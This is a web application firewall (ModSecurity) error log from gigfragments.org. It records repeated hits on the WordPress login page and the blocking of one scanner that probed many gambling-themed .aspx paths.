[Fri Apr 17 23:34:13.464667 2026] [:error] [pid 25010:tid 25032] [client 62.77.224.108:45384] [client 62.77.224.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.77.224.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJS9Y-7kkf42RarqQ2TCgAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 23:51:01.463663 2026] [:error] [pid 9263:tid 9288] [client 162.144.233.59:33386] [client 162.144.233.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.233.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJW5RP68VyHNvj1e56h0AAAANc"]
[Fri Apr 17 23:51:06.677673 2026] [:error] [pid 25010:tid 25020] [client 162.144.233.59:35564] [client 162.144.233.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.233.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJW6o-7kkf42RarqQ2V3QAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 17 23:57:26.055502 2026] [:error] [pid 61523:tid 61556] [client 98.156.110.64:45638] [client 98.156.110.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.110.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJYZsOaH-Pgc7WEf4MOYwAAAc4"]
[Fri Apr 17 23:57:29.153599 2026] [:error] [pid 61523:tid 61548] [client 98.156.110.64:45638] [client 98.156.110.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.156.110.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJYacOaH-Pgc7WEf4MOZwAAAcY"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 00:25:43.929331 2026] [:error] [pid 59043:tid 59087] [client 165.255.240.138:47588] [client 165.255.240.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.255.240.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJfB4RtUGE9SfUh2wwEJQAAAE0"]
[Sat Apr 18 00:25:47.117517 2026] [:error] [pid 59043:tid 59079] [client 165.255.240.138:47588] [client 165.255.240.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.255.240.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJfC4RtUGE9SfUh2wwEKAAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 00:31:47.311061 2026] [:error] [pid 59043:tid 59093] [client 217.182.194.25:53626] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeJgc4RtUGE9SfUh2wwGPQAAAFM"]
[Sat Apr 18 00:31:49.692467 2026] [:error] [pid 59042:tid 59053] [client 217.182.194.25:57776] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeJgdZ6p5oql0UklEBIw8QAAAAY"]
[Sat Apr 18 00:31:52.448637 2026] [:error] [pid 59044:tid 59119] [client 217.182.194.25:57784] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeJgeAFamkFyEtD_SMGu0gAAAJI"]
[Sat Apr 18 00:31:54.886494 2026] [:error] [pid 59136:tid 59162] [client 217.182.194.25:57798] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeJgeiaoiUyiIR3EhLWnfAAAANc"]
[Sat Apr 18 00:31:57.201926 2026] [:error] [pid 59042:tid 59055] [client 217.182.194.25:39552] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeJgfZ6p5oql0UklEBIxLgAAAAg"]
[Sat Apr 18 00:31:59.803974 2026] [:error] [pid 59043:tid 59085] [client 217.182.194.25:39560] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeJgf4RtUGE9SfUh2wwGTQAAAEs"]
[Sat Apr 18 00:32:02.834829 2026] [:error] [pid 59043:tid 59097] [client 217.182.194.25:39574] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeJggoRtUGE9SfUh2wwGUgAAAFc"]
[Sat Apr 18 00:32:05.350026 2026] [:error] [pid 59044:tid 59102] [client 217.182.194.25:39578] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aeJghQFamkFyEtD_SMGu5QAAAIE"]
[Sat Apr 18 00:32:07.969181 2026] [:error] [pid 59044:tid 59102] [client 217.182.194.25:53842] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aeJghwFamkFyEtD_SMGu6QAAAIE"]
[Sat Apr 18 00:32:10.067294 2026] [:error] [pid 59043:tid 59086] [client 217.182.194.25:53858] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeJgioRtUGE9SfUh2wwGYAAAAEw"]
[Sat Apr 18 00:32:12.436896 2026] [:error] [pid 59043:tid 59092] [client 217.182.194.25:53870] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeJgjIRtUGE9SfUh2wwGcAAAAFI"]
[Sat Apr 18 00:32:15.392587 2026] [:error] [pid 59042:tid 59052] [client 217.182.194.25:53872] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeJgj56p5oql0UklEBIxcAAAAAU"]
[Sat Apr 18 00:32:17.491967 2026] [:error] [pid 59042:tid 59066] [client 217.182.194.25:38018] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeJgkZ6p5oql0UklEBIxdAAAABM"]
[Sat Apr 18 00:32:19.769079 2026] [:error] [pid 59042:tid 59070] [client 217.182.194.25:38034] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeJgk56p5oql0UklEBIxfQAAABc"]
[Sat Apr 18 00:32:22.394027 2026] [:error] [pid 59136:tid 59140] [client 217.182.194.25:38040] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeJgliaoiUyiIR3EhLWnpwAAAME"]
[Sat Apr 18 00:32:24.590705 2026] [:error] [pid 59043:tid 59082] [client 217.182.194.25:38042] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeJgmIRtUGE9SfUh2wwGiAAAAEg"]
[Sat Apr 18 00:32:26.846763 2026] [:error] [pid 59136:tid 59163] [client 217.182.194.25:38052] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeJgmiaoiUyiIR3EhLWnswAAANg"]
[Sat Apr 18 00:32:29.565927 2026] [:error] [pid 59044:tid 59113] [client 217.182.194.25:53820] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeJgnQFamkFyEtD_SMGvCwAAAIw"]
[Sat Apr 18 00:32:31.575020 2026] [:error] [pid 59042:tid 59069] [client 217.182.194.25:53832] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeJgn56p5oql0UklEBIxjQAAABY"]
[Sat Apr 18 00:32:34.938190 2026] [:error] [pid 59042:tid 59048] [client 217.182.194.25:53842] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeJgop6p5oql0UklEBIxlQAAAAE"]
[Sat Apr 18 00:32:37.272734 2026] [:error] [pid 59042:tid 59050] [client 217.182.194.25:53856] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeJgpZ6p5oql0UklEBIxmwAAAAM"]
[Sat Apr 18 00:32:39.346571 2026] [:error] [pid 59136:tid 59159] [client 217.182.194.25:35572] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeJgpyaoiUyiIR3EhLWnzQAAANQ"]
[Sat Apr 18 00:32:41.980372 2026] [:error] [pid 59042:tid 59064] [client 217.182.194.25:35574] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeJgqZ6p5oql0UklEBIxpgAAABE"]
[Sat Apr 18 00:33:24.802065 2026] [:error] [pid 59136:tid 59141] [client 217.182.194.25:35586] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aeJg1CaoiUyiIR3EhLWoFAAAAMI"]
[Sat Apr 18 00:33:27.207458 2026] [:error] [pid 59042:tid 59065] [client 217.182.194.25:48918] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aeJg156p5oql0UklEBIyJgAAABI"]
[Sat Apr 18 00:33:29.789356 2026] [:error] [pid 42442:tid 42464] [client 217.182.194.25:48934] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aeJg2T4PBGqL_yqPJ8kMygAAARQ"]
[Sat Apr 18 00:33:32.729804 2026] [:error] [pid 59042:tid 59068] [client 217.182.194.25:48936] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aeJg3J6p5oql0UklEBIyNQAAABU"]
[Sat Apr 18 00:33:34.939321 2026] [:error] [pid 59042:tid 59056] [client 217.182.194.25:48940] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeJg3p6p5oql0UklEBIyOwAAAAk"]
[Sat Apr 18 00:33:37.554858 2026] [:error] [pid 42442:tid 42455] [client 217.182.194.25:40254] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aeJg4T4PBGqL_yqPJ8kM1gAAAQs"]
[Sat Apr 18 00:33:39.553746 2026] [:error] [pid 59136:tid 59157] [client 217.182.194.25:40262] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeJg4yaoiUyiIR3EhLWoIQAAANI"]
[Sat Apr 18 00:33:41.666524 2026] [:error] [pid 59044:tid 59125] [client 217.182.194.25:40272] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeJg5QFamkFyEtD_SMGvcgAAAJg"]
[Sat Apr 18 00:33:44.697414 2026] [:error] [pid 42442:tid 42466] [client 217.182.194.25:40284] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeJg6D4PBGqL_yqPJ8kM8gAAARY"]
[Sat Apr 18 00:33:47.379711 2026] [:error] [pid 59042:tid 59061] [client 217.182.194.25:35136] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeJg656p5oql0UklEBIyTwAAAA4"]
[Sat Apr 18 00:33:50.151300 2026] [:error] [pid 59042:tid 59068] [client 217.182.194.25:35146] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeJg7p6p5oql0UklEBIyVAAAABU"]
[Sat Apr 18 00:33:52.851714 2026] [:error] [pid 59042:tid 59051] [client 217.182.194.25:35162] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeJg8J6p5oql0UklEBIyWAAAAAQ"]
[Sat Apr 18 00:33:55.038542 2026] [:error] [pid 59136:tid 59158] [client 217.182.194.25:35172] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeJg8yaoiUyiIR3EhLWoMwAAANM"]
[Sat Apr 18 00:33:57.303804 2026] [:error] [pid 59042:tid 59050] [client 217.182.194.25:37798] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeJg9Z6p5oql0UklEBIyXwAAAAM"]
[Sat Apr 18 00:33:59.575455 2026] [:error] [pid 59136:tid 59145] [client 217.182.194.25:37804] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeJg9yaoiUyiIR3EhLWoNwAAAMY"]
[Sat Apr 18 00:51:00.452003 2026] [:error] [pid 59042:tid 59065] [client 202.10.45.93:58346] [client 202.10.45.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.10.45.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJk9J6p5oql0UklEBI-iAAAABI"]
[Sat Apr 18 00:51:20.199095 2026] [:error] [pid 42442:tid 42461] [client 202.10.45.93:46428] [client 202.10.45.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.10.45.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJlCD4PBGqL_yqPJ8kWJwAAARE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 00:51:30.636400 2026] [:error] [pid 59044:tid 59104] [client 42.96.40.62:38486] [client 42.96.40.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 42.96.40.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJlEgFamkFyEtD_SMG1vQAAAIM"]
[Sat Apr 18 00:52:40.229585 2026] [:error] [pid 42442:tid 42450] [client 159.89.94.245:37902] [client 159.89.94.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.94.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJlWD4PBGqL_yqPJ8kXEgAAAQY"]
[Sat Apr 18 00:52:42.526860 2026] [:error] [pid 42442:tid 42451] [client 159.89.94.245:37902] [client 159.89.94.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.94.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJlWj4PBGqL_yqPJ8kXGAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 01:08:11.883897 2026] [:error] [pid 59044:tid 59120] [client 171.111.192.222:45818] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJo-wFamkFyEtD_SMG7IgAAAJM"]
[Sat Apr 18 01:08:14.019915 2026] [:error] [pid 59044:tid 59112] [client 171.111.192.222:45818] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJo_gFamkFyEtD_SMG7JwAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 01:18:42.888645 2026] [:error] [pid 42442:tid 42446] [client 198.12.243.225:24586] [client 198.12.243.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.12.243.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJrcj4PBGqL_yqPJ8ko7gAAAQI"]
[Sat Apr 18 01:18:46.510245 2026] [:error] [pid 42442:tid 42445] [client 198.12.243.225:24586] [client 198.12.243.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.12.243.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJrdj4PBGqL_yqPJ8ko-AAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 01:34:11.870661 2026] [:error] [pid 42442:tid 42452] [client 167.86.115.116:45790] [client 167.86.115.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.115.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJvEz4PBGqL_yqPJ8kxYAAAAQg"]
[Sat Apr 18 01:34:13.574804 2026] [:error] [pid 42442:tid 42457] [client 167.86.115.116:45790] [client 167.86.115.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.115.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJvFT4PBGqL_yqPJ8kxZwAAAQ0"], referer: https://gigfragments.org/wp-login.php
